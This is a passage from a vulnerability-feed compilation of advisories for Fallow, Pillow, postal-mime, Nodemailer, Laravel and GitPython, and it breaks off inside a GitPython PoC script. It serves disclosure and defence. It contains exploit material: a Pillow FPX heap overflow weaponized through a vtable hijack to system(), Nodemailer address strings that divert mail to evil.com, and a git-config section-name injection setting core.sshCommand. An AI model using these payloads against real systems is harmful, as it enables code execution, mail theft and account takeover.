Fixed in 3.34.0. Fallow now resolves each match with symlinks and `..` segments removed. Fallow reads the match only when it is inside the project root. A glob whose literal base is outside the project root does not run. The boundary is the project root, so an in-root entry such as ` /../packages/*` still works, also from the config of a workspace package. Fallow also does not read a script `--config` path that is a symlink to a file outside the project root.

### Workarounds

Run Fallow only on repositories that you trust. Before you run Fallow on another repository, check the `projects` entries of its `jest.config.*` and `vitest.config.*` files.

Affected package ranges reported by GitHub:
fallow: >= 2.68.0, < 3.34.0
@fallow-cli/fallow-node: >= 2.68.0, < 3.34.0
fallow-cli: >= 2.68.0, < 3.34.0
fallow-core: >= 2.68.0, < 3.34.0
Action: GitHub lists first patched versions: fallow: 3.34.0; @fallow-cli/fallow-node: 3.34.0; fallow-cli: 3.34.0; fallow-core: 3.34.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution
https://kevwire.com/record/CVE-2026-112398
Pillow: Heap buffer overflow in FlashPix (FPX) JPEG decoding leads to code execution (Oct 23, 2026).
**Researcher**: Alex Bouffard (mixbo@pebwalker.com)

A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).
CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-5x8w-8jj5-q52h).
EPSS 0.6% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-112398&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5x8w-8jj5-q52h: https://github.com/advisories/GHSA-5x8w-8jj5-q52h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-112398: https://nvd.nist.gov/vuln/detail/CVE-2026-112398
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=5500
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-112398&date=2026-10-25
### Credits

**Researcher**: Alex Bouffard (mixbo@pebwalker.com)

### Summary

A heap buffer overflow in Pillow's FlashPix (FPX) JPEG-tile decoder lets an attacker achieve arbitrary code execution by getting an application to open a single crafted file with `Image.open()`. The file is recognized by content (the OLE2 magic), not by extension, so any service that opens or thumbnails untrusted uploads with the optional `olefile` dependency installed is reachable with no user interaction. In the PoC below, opening one crafted file executes an attacker-chosen command on stock Pillow 12.2.0 (x86_64 Ubuntu 24.04, glibc 2.39).

### Details

`FpxImagePlugin` decodes FlashPix (FPX) files, which are OLE2/CFBF compound documents.

`Image.open()` auto-detects them from the OLE2 magic `D0CF11E0...` whenever the optional `olefile` package is installed (Pillow's documented dependency for FPX/MIC support), regardless of the file's extension.

For a JPEG-compressed subimage (`compression == 2`), the plugin builds a `"jpeg"` decode tile and derives the `(rawmode, jpegmode)` pair from attacker-controlled FPX color IDs through the `MODES` table ([`src/PIL/FpxImagePlugin.py` L25-L32](https://github.com/python-pillow/Pillow/blob/12.2.0/src/PIL/FpxImagePlugin.py#L25-L32)):

```python
MODES = {
 ...
 (0x00018000, 0x00017FFE): ("RGBA", "LA"), # rawmode "LA" (2 bytes/pixel)
 ...
 (0x00020000, 0x00020001, 0x00020002): ("RGB", "YCC;P"), # rawmode "YCC;P"
}
```

The Imaging output buffer for the tile is sized for the rawmode (here `"LA"` = 2 bytes/pixel) ([`src/decode.c` L223-L226](https://github.com/python-pillow/Pillow/blob/12.2.0/src/decode.c#L223-L226)):

```c
state->bytes = (state->bits * state->xsize + 7) / 8; // "LA" gives 2 * xsize bytes/row
...
state->buffer = (UINT8 *)calloc(1, state->bytes);
```

In `JpegDecode.c` the rawmode string is mapped to a libjpeg `out_color_space`. Recognized modes (`CMYK`, `YCbCr`, `YCbCrK`, and so on) get a concrete colorspace, but `"LA"` and `"YCC;P"` are not recognized, so control reaches the fallback branch ([`src/libImaging/JpegDecode.c` L219-L221](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L219-L221)):

```c
/* Disable decoder conversions. */
context->cinfo.jpeg_color_space = JCS_UNKNOWN;
context->cinfo.out_color_space = JCS_UNKNOWN;
```

Under `JCS_UNKNOWN`, libjpeg performs no color conversion and emits `cinfo.num_components` bytes per pixel, taken from the embedded JPEG's SOF marker, which the attacker sets to 4. So `jpeg_read_scanlines` writes `4 * width` bytes per row into a buffer allocated for only `2 * width` bytes ([`src/libImaging/JpegDecode.c` L252](https://github.com/python-pillow/Pillow/blob/12.2.0/src/libImaging/JpegDecode.c#L252)):

```c
ok = jpeg_read_scanlines(&context->cinfo, &state->buffer, 1); // writes 4*W into a 2*W buffer
```

This is a heap out-of-bounds write with attacker-controlled length (the image width, up to tens of thousands of pixels, so about `2 * width` bytes of overflow per row) and attacker-controlled content (the decoded pixel data). The PoC weaponizes it: the overflow overwrites an adjacent Python `bytes` object's `ob_type` with a pointer to a fake `PyTypeObject` / `PyBufferProcs` vtable that the same overflow plants inside the decode buffer. When Pillow releases the input buffer, `PyBuffer_Release` walks `ob_type -> tp_as_buffer -> bf_releasebuffer` and executes `call *rax`; the PoC points that at `system@plt` (fixed, the interpreter binary is non-PIE) with `rdi` set to the command string, yielding command execution.

### PoC

To facilitate an exact reproduction on an x86_64 machine, this PoC uses the version-pinned, ASLR-disabled Docker image from [Annex A](#annex-a-docker-setup).

The source code for the payload builder `make_payload.py` is in [Annex B](#annex-b-payload-builder-source).

`vulnerable.py` is the program under test, a one-liner that opens the file it is given:

```python
#!/usr/bin/env python3
# The entire vulnerable operation an application performs on an untrusted file.
import sys
from PIL import Image

Image.open(sys.argv[1]).load()
```

The payload is a standalone `.fpx` file the attacker crafts on their own host; the target only ever opens the resulting file, so building it requires no access to or code execution on the target. We run `make_payload.py` inside the same container here purely for convenience, so its baked-in addresses (`--offset`, `system@plt`) match this pinned image. The payload redirects the hijacked indirect call to `system@plt` (`0x4206c0`, fixed because the interpreter binary is non-PIE) with a baked-in command:

```console
$ python3 make_payload.py --target 0x4206c0 --cmd id --out shell.fpx
[control] shell.fpx: S=0xdc8800 target=0x4206c0 cmd='id' craft_iters=0 bad=0
[control] opening it: vtable hijack -> call *0x4206c0 with rdi -> 'id'
```

Then open it with `vulnerable.py`:

```console
$ python3 vulnerable.py shell.fpx
uid=0(root) gid=0(root) groups=0(root)
corrupted size vs. prev_size
```

`Image.open()` of the crafted file runs the baked command via `system("id")`: command execution as the user running the image processing (root in the container).

The trailing `corrupted size vs. prev_size` is glibc aborting during interpreter teardown over the corrupted heap, after `id` has
already run.

The builder writes the command inline at the hijacked `rdi`, so `--cmd` is limited to 7 bytes (for example `id`, `id;w`). `--offset` and `system@plt` are constants of the pinned, ASLR-disabled image and hold across runs of it.

### Impact

This is a heap-based buffer overflow (CWE-122) / out-of-bounds write (CWE-787) that leads to code execution. Any application or service that opens attacker-influenced files with Pillow and has the optional `olefile` dependency installed is affected: image upload and thumbnailing services, avatar and media processing, document and image conversion pipelines, and similar. Because detection is by OLE2 magic rather than file extension an

Affected package ranges reported by GitHub:
pillow: <= 12.3.0
Action: GitHub lists first patched versions: pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### postal-mime: Quadratic CPU consumption when decoding a header of many joinable RFC 2047 base64 encoded words
https://kevwire.com/record/GHSA-f2hq-32vh-53cc
postal-mime: Quadratic CPU consumption when decoding a header of many joinable RFC 2047 base64 encoded words (Oct 23, 2026).
Decoding a header that holds a long run of joinable RFC 2047 base64 encoded words, such as `=?utf-8?B?QUJD?=` repeated tens of thousands of times in a `Subject`, `From`, `To`, a filename or a description, took time quadratic in the number of words. The join check ran a regex over the text joined so far for every word, which flattens the accumulated string each time. A single well formed message of about 1.6 MB blocked the event loop for one to twenty seconds depending on the host, and inline `message/rfc822` parts multiplied the cost, since each nested message carried its own header budget.

Any application that parses untrusted mail with postal-mime 3.0.0 through 4.0.7, including the exported `decodeWords()` helper, is affected. There is no confidentiality or integrity impact.
CVSS 7.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-f2hq-32vh-53cc).
Sources:
GitHub-reviewed advisory GHSA-f2hq-32vh-53cc: https://github.com/advisories/GHSA-f2hq-32vh-53cc
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Impact

Decoding a header that holds a long run of joinable RFC 2047 base64 encoded words, such as `=?utf-8?B?QUJD?=` repeated tens of thousands of times in a `Subject`, `From`, `To`, a filename or a description, took time quadratic in the number of words. The join check ran a regex over the text joined so far for every word, which flattens the accumulated string each time. A single well formed message of about 1.6 MB blocked the event loop for one to twenty seconds depending on the host, and inline `message/rfc822` parts multiplied the cost, since each nested message carried its own header budget.

Any application that parses untrusted mail with postal-mime 3.0.0 through 4.0.7, including the exported `decodeWords()` helper, is affected. There is no confidentiality or integrity impact.

### Patches

Fixed in 4.0.8. The pad check now tracks the last appended word instead of testing the joined text, so decoding is linear in the header length. The same release also counts the parts and header bytes of inline `message/rfc822` sub-messages against the limits of the message as a whole, counts every header line for at least 64 bytes of `maxHeadersSize`, and adds a scaling test that measures every stage of the parser at two input sizes.

### Workarounds

Lower `maxHeadersSize` from its 2 MiB default to bound the cost per message, or parse untrusted mail in a worker that can be terminated.

### Credits

Reported by Felipe Fernández.

Affected package ranges reported by GitHub:
postal-mime: >= 3.0.0, < 4.0.8
Action: GitHub lists first patched versions: postal-mime: 4.0.8. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1
https://kevwire.com/record/CVE-2026-114501
Pillow: Arrow export leaks stale heap memory when PILLOW_ALIGNMENT > 1 (Oct 23, 2026).
When [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. 

With an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im->blocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.
CVSS 6.3 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-654x-cwwv-5j9c).
EPSS 0.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114501&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-654x-cwwv-5j9c: https://github.com/advisories/GHSA-654x-cwwv-5j9c
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114501&date=2026-10-25
### Summary

When [`PILLOW_ALIGNMENT`](https://pillow.readthedocs.io/en/stable/reference/block_allocator.html#memory-pools) is set above 1, exporting an image to Arrow returns uninitialized heap memory mixed in with the pixel data. That memory can include pixels from images the process freed earlier. 

### Details

With an alignment above 1, the default allocator pads each row up to `aligned_linesize` and starts the first row at an aligned offset into the block. It then exports `im->blocks[0].ptr` as `xsize * ysize` tightly packed pixels, so exported data includes the padding bytes, and can include a few bytes from before the first row.

Tested vulnerable on 11.2.1, 12.3.0, 4c1ed27a5.

### PoC

Whether things leak may depend on allocator configuration. This does show a leak on my Mac.

```python
import os

os.environ["PILLOW_ALIGNMENT"] = "64"

from PIL import Image

# Image A: 64 px wide, so its rows fill the whole aligned stride
a = Image.new("L", (64, 40), 0x41).transpose(Image.Transpose.FLIP_LEFT_RIGHT)
del a

# Image B: 61 px wide, so each row has 3 bytes of padding; its pixels are all 0
b = Image.new("L", (61, 40), 0).transpose(Image.Transpose.FLIP_LEFT_RIGHT)

try:
 exported = Image.fromarrow(b, b.mode, b.size).tobytes()
except ValueError as e:
 print("Not vulnerable:", e)
else:
 if leaked := len(exported) - exported.count(0):
 raise RuntimeError(f"{leaked} of {len(exported)} exported bytes are not B's pixels")
```

### Impact

Information disclosure for applications that set `PILLOW_ALIGNMENT` and export images to Arrow. Likely any image whose row length isn't a multiple of the alignment will do. In a service handling several users' images, one user's exported data can contain pixels from another user's image, or other stale heap contents.

Affected package ranges reported by GitHub:
Pillow: >= 11.2.1, < 13.0.0
Action: GitHub lists first patched versions: Pillow: 13.0.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient
https://kevwire.com/record/GHSA-8c8m-p3m8-cjg8
Nodemailer: A nested comment ends early in addressparser, releasing the rest of the comment as a recipient (Oct 23, 2026).
RFC 5322 comments nest. addressparser ended a comment at the first `)`, including the one that closes a nested comment, and parsed the rest of the outer comment as header text. `Victim (x(y) ) ` names `v@victim.com` with `x(y) ` as a comment, and Nodemailer read it as the address `evil@evil.com`. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3.

The attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.
CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-8c8m-p3m8-cjg8).
Sources:
GitHub-reviewed advisory GHSA-8c8m-p3m8-cjg8: https://github.com/advisories/GHSA-8c8m-p3m8-cjg8
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Vulnerability summary

RFC 5322 comments nest. addressparser ended a comment at the first `)`, including the one that closes a nested comment, and parsed the rest of the outer comment as header text. `Victim (x(y) ) ` names `v@victim.com` with `x(y) ` as a comment, and Nodemailer read it as the address `evil@evil.com`. This is the same shape as the escaped parenthesis fixed in 10.1.2, reached through nesting instead of a quoted-pair. Affected: 3.0.0 through 10.1.3.

### Attacker capabilities

The attacker controls the text of an address that an application passes to Nodemailer, or the From or To header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.

### Realistic exploitation scenario

An application validates a submitted address with a conformant parser and allows only its own domain. The attacker submits `Victim (x(y) ) `, which validates as `v@victim.com`. Nodemailer delivers to `evil@evil.com`. In the inbound direction, a DMARC or display layer built on a conformant parser and a mail client built on mailparser disagree on the author of the same message, which is the setting for sender spoofing. The boundary crossed is the application's recipient allow list, or the author check of the receiving side.

### Proof of concept

```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("Victim (x(y) ) "));
// [ { address: 'evil@evil.com', name: 'Victim) v@victim.com' } ]
```

Python's `email._header_value_parser.get_address_list` reads the same value as `v@victim.com` with the display name `Victim`, with no defects reported.

The envelope a message gets is built from the same parse, so `sendMail({ to: "Victim (x(y) ) " })` issues the RCPT TO shown above.

### Security impact

Mail intended for an approved recipient is delivered to an attacker chosen domain, disclosing its content, and parsers built on this module report a different author than conformant ones. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.

The fix counts comment depth and ends a comment only at the `)` that closes the outermost one.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

Affected package ranges reported by GitHub:
nodemailer: >= 3.0.0, < 10.1.4
Action: GitHub lists first patched versions: nodemailer: 10.1.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient
https://kevwire.com/record/GHSA-m943-m63m-w62w
Nodemailer: A ";" inside a quoted string or comment ends an address group early in addressparser, turning display text into a recipient (Oct 23, 2026).
addressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; ) ;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3.

The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.
CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-m943-m63m-w62w).
Sources:
GitHub-reviewed advisory GHSA-m943-m63m-w62w: https://github.com/advisories/GHSA-m943-m63m-w62w
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Vulnerability summary

addressparser ends an RFC 5322 group at the first `;`, including one inside a quoted display name or a comment. The text after it is parsed again as top level recipients with the quoting flipped, so text that every conformant parser reads as a display name or comment becomes a live address. `G: (a; ) ;` names only `v@victim.com`, and Nodemailer read it as the single recipient `evil@evil.com`. Affected: 3.0.0 through 10.1.3.

### Attacker capabilities

The attacker controls the text of an address field that an application passes to Nodemailer, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 group that conformant parsers accept without defects.

### Realistic exploitation scenario

An application validates the recipients of a submitted address list with a conformant parser and only allows addresses at its own domain. The attacker submits `G: (a; ) ;`. The validator sees one mailbox, `v@victim.com`, and approves it. Nodemailer delivers to `evil@evil.com` only. The same works through a quoted display name, `G: "a;" " " ;`. The boundary crossed is the application's recipient allow list.

### Proof of concept

```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser("G: (a; ) ;"));
// [ { name: 'G', group: [ [Object] ] }, { address: 'evil@evil.com', name: ') v@victim.com' } ]
```

Python's `email._header_value_parser.get_address_list` reads the same value as the single mailbox `v@victim.com`, with no defects reported.

The envelope a message gets is built from the same parse, so `sendMail({ to: "G: (a; ) ;" })` issues the RCPT TO shown above.

### Security impact

Mail that an application intends for an approved recipient goes to a recipient chosen by the attacker, which discloses its content, and the intended recipient never receives it. The misreading only occurs on values a conformant validator approves, so correct validation is bypassed, which makes it a security issue rather than a parsing bug. Affected are applications that pass user influenced address lists to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings and comments inside a group and reads only a `;` outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

Affected package ranges reported by GitHub:
nodemailer: >= 3.0.0, < 10.1.4
Action: GitHub lists first patched versions: nodemailer: 10.1.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name
https://kevwire.com/record/GHSA-85x2-q946-cp5h
Nodemailer: A ">" inside a quoted local part ends an angle-addr early in addressparser, delivering to a domain the header does not name (Oct 23, 2026).
addressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. ` "@good.com>` is the mailbox `"a@evil.com>"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.

The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.
CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-85x2-q946-cp5h).
Sources:
GitHub-reviewed advisory GHSA-85x2-q946-cp5h: https://github.com/advisories/GHSA-85x2-q946-cp5h
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
### Vulnerability summary

addressparser ends an angle-addr at the first `>` it sees, including one inside a quoted local part, a comment or a domain literal. The domain is then read off the text in front of that `>`. ` "@good.com>` is the mailbox `"a@evil.com>"@good.com` under RFC 5322, and Nodemailer read it as an address at `evil.com`. The unbracketed spelling of the same value was already read correctly. Affected: 3.0.0 through 10.1.3.

### Attacker capabilities

The attacker controls the text of a recipient or sender address that an application passes to Nodemailer, for example a To value entered in a contact or invite form, or the header of an inbound message parsed with mailparser. No access to the application, its configuration or its credentials is needed. The value is a syntactically valid RFC 5322 address that conformant parsers accept without defects.

### Realistic exploitation scenario

An application lets users send invitations or notifications only to addresses at an allowed domain and validates the submitted value with a conformant parser or by checking its domain. The attacker submits ` "@good.com>`, which validates as a `good.com` mailbox. Nodemailer then parses the same value, issues `RCPT TO: ` and the message, with whatever content the application puts into it, is delivered to the attacker's domain. The security boundary crossed is the application's recipient allow list. In the inbound direction, mailparser reports a different address than a conformant reader of the same header, so a display or policy layer built on the two disagrees.

### Proof of concept

```js
const addressparser = require('nodemailer/lib/addressparser');
console.log(addressparser(" \"@good.com>"));
// [ { address: '"a@evil.com', name: '@good.com>' } ]
```

Python's `email._header_value_parser.get_address_list` reads the same value as `"a@evil.com>"@good.com`, with no defects reported.

The envelope a message gets is built from the same parse, so `sendMail({ to: " \"@good.com>" })` issues the RCPT TO shown above.

### Security impact

Mail that an application intends for an allowed domain is delivered to a domain chosen by the attacker, which discloses its content. It is a security vulnerability rather than a parsing bug because the misreading only occurs for values that a conformant validator approves, so validation done the right way is bypassed. Affected are applications that pass user influenced addresses to Nodemailer and consumers of the standalone parser such as mailparser.

The fix tracks quoted strings, comments and domain literals inside an angle-addr and reads only a `>` outside them.

Found in an internal review of addressparser on 2026-10-18. Verified on 3.0.0, 6.9.16 and 10.1.3.

Affected package ranges reported by GitHub:
nodemailer: >= 3.0.0, < 10.1.4
Action: GitHub lists first patched versions: nodemailer: 10.1.4. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Laravel TokenGuard authentication bypass through non-string API credentials
https://kevwire.com/record/CVE-2026-114509
Laravel TokenGuard authentication bypass through non-string API credentials (Oct 23, 2026).
Laravel's built-in TokenGuard, **when configured with a standard token-based API guard**, may be bypassed to authenticate as an arbitrary existing user without knowledge of their valid API token. 

**Under certain database configurations (MySQL/MariaDB)** an attacker can submit a specially crafted, non-string credential value that is mishandled during the authentication lookup, causing the underlying query to match an unintended user record rather than failing authentication as expected.
CVSS 9.2 (version 4.0; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-f9x3-7vq9-cph6).
EPSS 0.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114509&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-f9x3-7vq9-cph6: https://github.com/advisories/GHSA-f9x3-7vq9-cph6
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
NVD CVE-2026-114509: https://nvd.nist.gov/vuln/detail/CVE-2026-114509
NVD CVE API 2.0: https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=8000
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114509&date=2026-10-25
Laravel's built-in TokenGuard, **when configured with a standard token-based API guard**, may be bypassed to authenticate as an arbitrary existing user without knowledge of their valid API token. 

**Under certain database configurations (MySQL/MariaDB)** an attacker can submit a specially crafted, non-string credential value that is mishandled during the authentication lookup, causing the underlying query to match an unintended user record rather than failing authentication as expected.

### Impact
An unauthenticated attacker may authenticate as another user without possessing that user's API token, leading to authentication bypass and account takeover on any route protected by the affected guard.

Affected package ranges reported by GitHub:
laravel/framework: >= 13.0.0, < 13.29.0
laravel/framework: < 12.68.0
Action: GitHub lists first patched versions: laravel/framework: 13.29.0; laravel/framework: 12.68.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### Laravel relationship inclusion can trigger unauthorized data destruction
https://kevwire.com/record/CVE-2026-114508
Laravel relationship inclusion can trigger unauthorized data destruction (Oct 23, 2026).
A vulnerability in how relationship inclusion is processed on certain read endpoints. Under specific conditions, a request to a read-only endpoint can be crafted to trigger a destructive database operation on a related table, rather than simply retrieving data.
CVSS 6.5 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-5wcm-3v2w-8362).
EPSS 0.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-114508&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-5wcm-3v2w-8362: https://github.com/advisories/GHSA-5wcm-3v2w-8362
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-114508&date=2026-10-25
A vulnerability in how relationship inclusion is processed on certain read endpoints. Under specific conditions, a request to a read-only endpoint can be crafted to trigger a destructive database operation on a related table, rather than simply retrieving data.

### Impact
A user with only read access could cause irreversible data loss (e.g., a related table being emptied), without needing any write permissions. This could result in denial of service and loss of data integrity for affected applications.

Affected package ranges reported by GitHub:
laravel/framework: >= 12.45.0, < 12.68.0
laravel/framework: >= 13.0.0, < 13.27.0
Action: GitHub lists first patched versions: laravel/framework: 12.68.0; laravel/framework: 13.27.0. Confirm the affected range and upgrade guidance in the exact advisory.
Kind: vulnerability; regions: Global; provenance: pipeline.
KEV evidence not available.

### GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE)
https://kevwire.com/record/CVE-2026-69097
GitPython: git-config section-name injection enables arbitrary config directives (core.sshCommand RCE) (Jul 24, 2026).
In GitPython ` None:
 if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):
 raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)
```

The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`:
CVSS 7.0 (version 3.1; evidence as of Oct 23, 2026; https://github.com/advisories/GHSA-3rp5-jjmw-4wv2).
EPSS 0.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2026-69097&date=2026-10-25).
Sources:
GitHub-reviewed advisory GHSA-3rp5-jjmw-4wv2: https://github.com/advisories/GHSA-3rp5-jjmw-4wv2
GitHub public advisory API page: https://api.github.com/advisories?type=reviewed&per_page=100&sort=updated&direction=desc
FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2026-69097&date=2026-10-25
### Summary

In GitPython ` None:
 if isinstance(name, str) and UNSAFE_CONFIG_CHARS_RE.search(name):
 raise ValueError("Git config %s names must not contain CR, LF, or NUL" % label)
```

The name is then serialized into the header with no escaping of `]`, `[`, `"`, space, `=` or `#`:

`git/config.py:693`:

```python
fp.write(("[%s]\n" % name).encode(defenc))
```

For submodules the name is wrapped as `submodule " "` (`git/objects/submodule/util.py:39`, `return f'submodule "{name}"'`), which supplies the balancing quote. A submodule named:

```
x"] [core] sshCommand=CMD #
```

therefore serializes to the header `[submodule "x"] [core] sshCommand=CMD #"]`. git parses everything after the first `]` on that line as a fresh section, yielding `core.sshCommand=CMD` (the trailing `#"]` is an inline comment). No CR/LF/NUL appears, so `_assure_config_name_safe` never fires.

The attacker-controlled name reaches this sink through documented public entry points that write it into the parent repository's `.git/config`:

- `Repo.create_submodule(name= , ...)` → `Submodule.add` → `git/objects/submodule/base.py:619` `writer.set_value(sm_section(name), "url", url)` — a single call, no hostile remote required.
- `Repo.clone_from( )` + `repo.submodule_update(init=True)` → `git/objects/submodule/base.py:855` `writer.set_value(sm_section(self.name), "url", self.url)`, where `self.name` is read unvalidated from the cloned repo's `.gitmodules`.

Asymmetry: the sibling class is blocked — a newline in a config **value**, e.g. `set_value("core", "editor", "x\n\tsshCommand=CMD")`, raises `ValueError`. The section-**name** bracket payload is not caught by the same guard.

### PoC

Single self-contained script, run against the pinned release in an ephemeral environment. Non-destructive: the injected value is an inert marker, verified parse-only with `git config --get`; no ssh/fetch/push is run and nothing is executed.

```python
#!/usr/bin/env python3
"""Minimal PoC: git-config section-name injection in GitPython==3.1.52."""
from importlib.metadata import version
import os, tempfile, subprocess
import git

print(f"# GitPython {version('GitPython')}") # version proof -- first line

MARKER = "MARKER_9f3a" # inert; never executed
tmp = tempfile.mkdtemp()
env = {**os.environ, "HOME": tmp,
 "GIT_CONFIG_GLOBAL": os.path.join(tmp, "gc"), "GIT_CONFIG_SYSTEM": os.devnull,
 "GIT_AUTHOR_NAME": "a", "GIT_AUTHOR_EMAIL": "a@b.c",
 "GIT_COMMITTER_NAME": "a", "GIT_COMMITTER_EMAIL": "a@b.c"}

def run(*a, cwd=None):
 return subprocess.run(a, cwd=cwd, env=env, capture_output=True, text=True)

# A benign local repo used as the submodule url (a plain path, no network).
src = os.path.join(tmp, "src"); os.makedirs(src)
run("git", "init", "-q", src)
open(os.path.join(src, "f"), "w").write("x")
run("git", "add", "f", cwd=src); run("git", "commit", "-qm", "i", cwd=src)
suburl = os.path.join(tmp, "sub.git"); run("git", "clone", "-q", "--bare", src, suburl)

def parent_repo():
 p = tempfile.mkdtemp(dir=tmp)
 run("git", "init", "-q", p)
 open(os.path.join(p, "r"), "w").write("x")
